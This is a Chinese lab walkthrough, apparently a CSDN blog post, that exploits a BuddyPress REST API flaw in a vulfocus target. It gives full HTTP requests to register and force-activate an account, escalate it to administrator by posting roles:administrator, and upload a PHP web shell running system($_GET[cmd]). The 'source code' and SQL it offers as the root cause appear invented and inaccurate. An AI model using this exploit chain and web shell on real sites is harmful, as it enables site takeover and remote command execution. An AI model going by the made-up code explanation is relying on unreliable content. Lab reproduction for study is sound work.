关于本地化搭建vulfocus靶场的师傅可以参考我置顶文章
KALI搭建log4j2靶场及漏洞复现全流程-CSDN博客https://blog.csdn.net/2301_78255681/article/details/147286844
描述:
BuddyPress 是一个用于构建社区站点的开源 WordPress 插件。在 7.2.1 之前的 5.0.0 版本的 BuddyPress 中,非特权普通用户可以通过利用 REST API 成员端点中的问题来获得管理员权限。该漏洞已在 BuddyPress 7.2.1 中修复。插件的现有安装应更新到此版本以缓解问题。
一、启动环境
也可以在vulfocus官网启动靶场环境
Vulfocus 漏洞威胁分析平台Vulfocus 是一个漏洞集成平台,将docker 漏洞镜像,放入即可使用,开箱即用的平台,可以用于漏洞复现,POC验证,EXP验证,快速搭建启动漏洞环境,同时也是一个在线的漏洞学习平台,提供在线靶场,环境编排功能,进行环境模拟供学习,攻防挑战等需求。https://vulfocus.cn/#/dashboard
二、注册绕过
1、直接刷新页面,使用抓包工具进行抓包,Burp和Yakit均可
2、构造发包:POST /wp-json/buddypress/v1/signup
{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
注意:Host换成自己的ip和端口
POST //wp-json/buddypress/v1/signup HTTP/1.1
Host:192.168.217.133:26855
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109
{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
3、然后将响应包中的activation_key取出来,放在后边构造的PUT请求包中
4、BuddyPress的注册原理
在BuddyPress的默认设计中,用户注册通常分为两步:
1.注册提交
当用户提交注册信息时,BuddyPress会生成一个activation_key,并将其与用户数据临时存储在数据库(如wp_signups表)中
2.账户激活
系统向用户邮箱发送包含activation_key的激活连接,用户点击链接后账户才正式生效
而这里将该key提取出来,核心目的是为了绕过安全机制,直接激活账户以触发漏洞
5、进行下一步操作,构造PUT请求包:
将取出来的activation_key放在PUT的请求中
PUT //wp-json/buddypress/v1/signup/activate/49KzwHGdKAgoWBXtaGTdqSnm9QtFx7oT HTTP/1.1
Host:192.168.217.133:19376
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: python-requests/2.24.0
Accept: */*
Content-Type: application/json; charset=UTF-8
Content-Length: 109
{"user_login": "test1121", "user_email": "qxzkpzc@test.com", "user_name": "test1121", "password": "test1121"}
这里通过使用activation_key能够绕过邮箱激活链接,使攻击者能够直接激活账户
6、使用账号密码登录test1121/test1121
登录后是这样的
可以点击Demo查看面板,此时是没有高级权限的
三、获取admin权限
1、替换自己的ip和端口,访问下面的地址
http://192.168.217.133:57659/groups/create/step/group-details/
2、填写下面的Details,添加组
然后点击create,自动跳转到Settings模块,都是默认,继续点击next
自动跳转到Photo,继续点击Next
继续Next
最后到Invite模块,点击finish完成
3、设置好之后直接回到了groups界面
4、然后先点击manage,再点击members,再次打开抓包工具,开启抓包后,再点击ban
5、此时需要取出请求包中的两个参数,一个是X-WP-Nonce 一个是Cookie,将这两个值记下来
6、构造下面的请求包,将X-WP-Nonce 和 Cookie的值替换成自己的
POST /wp-json/buddypress/v1/members/me HTTP/1.1
Host: 192.168.217.133:19376
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
X-WP-Nonce: 71999ef68f
Content-Type: application/json; charset=UTF-8
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzQ0OTQ1MzA4LCJlbWFpbCI6IiJ9.RkOT3h1AzirdlB-RN9OSfPVismumNoCGrENtOUtHaIs; ktqnjecmsdodbdata=empirecms; ktqnjloginuserid=1; ktqnjloginusername=admin; ktqnjloginrnd=J2XvVbuHIv5BfVrMIDim; ktqnjloginlevel=1; ktqnjeloginlic=empirecmslic; ktqnjloginadminstyleid=1; ktqnjloginecmsckpass=7f1aa1c376cc977d244d25af64a54347; ktqnjloginecmsckfrnd=m5EidbxgfVYuDBinbbwFo2Ir5dZ; ktqnjloginecmsckfdef=OE0fuOEG9V2uLycAHfJkJ6; ktqnjemecoHaFTxxc=t1FbqgENKaPMabKCPx; ktqnjtruelogintime=1744861011; ktqnjlogintime=1744861734; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_28e00d2a0f302adaf322ea313ba8376a=test1121%7C1746112309%7CWroNqMD0d7pS5A9HbOisd2bP2WX3rldP0ATXUFWP6dT%7Ce56495a997dbcb0236bd0395a1fd3d4e80ae325ad12758d39eb80ef812493ce4; wp-settings-time-2=1744902901; wp-settings-2=mfold%3Do; wordpress_logged_in_c0ae86529b9441a65c60771475231199=test1121%7C1745076515%7CzULZkXkgWVEPRJ2qwL5XaezdZOejeCEwnlRsTLnU6bZ%7Cee9d7bd05ec2c9eb213dbcf8be768e04c6fc8f342fe9121640089c2f54cf30b4
Content-Length: 26
{"roles": "administrator"}
7、放包之后就有管理员的权限了,再次打开Demo面板就成这样的界面了
8、提权原理
不要着急下一步,回顾一下提权过程每一步,对于这一系列操作后面的利用逻辑才是我们需要学习的。
在提权到admin的过程中:我们首先进行了分组操作,让自己置于一个组下。这样做有什么作用呢?
BuddyPress在members端点中未对敏感字段(如roles)进行分组隔离或权限校验,导致普通用户可直接修改这些字段!获得的X-WP-Nonce和Cookie只是为了验证我们的身份,然后在members/me端点下,因其未限制敏感字段roles,导致我们可以直接修改roles的值提权到admin,而在底层代码,bp_rest_update_member中
function bp_rest_update_member($request) {
$user_id = get_current_user_id(); // 获取当前用户 ID
$params = $request->get_params();
// 直接更新用户数据,未校验字段合法性
wp_update_user([
'ID' => $user_id,
'role' => $params['roles'] // 漏洞点:允许普通用户修改角色
]);
}
而后续的wp_update_user 函数也未进行二次校验权限,直接将角色写入数据库
UPDATE wp_users SET role = 'administrator' WHERE ID = <user_id>;
这才导致了垂直越权
四,上传木马,获取shell
1、利用plugin更新来上传我们的一句话木马文件,来到Demo面板,点击Plugins模块,点击Add New
2、继续点击Upload Plugin,可以看到让我们选择文件上传
3、测试发现是可以直接上传.php文件的,我们直接上传c.php木马文件
木马文件的内容为:
Content-Disposition: form-data; name="pluginzip"; filename="c.php"
Content-Type: text/php
<?php
system($_GET[cmd]);
?>
3、选择所有文件,找到要上传的php木马文件
4、选择后点击,install Now上传
上传成功显示的是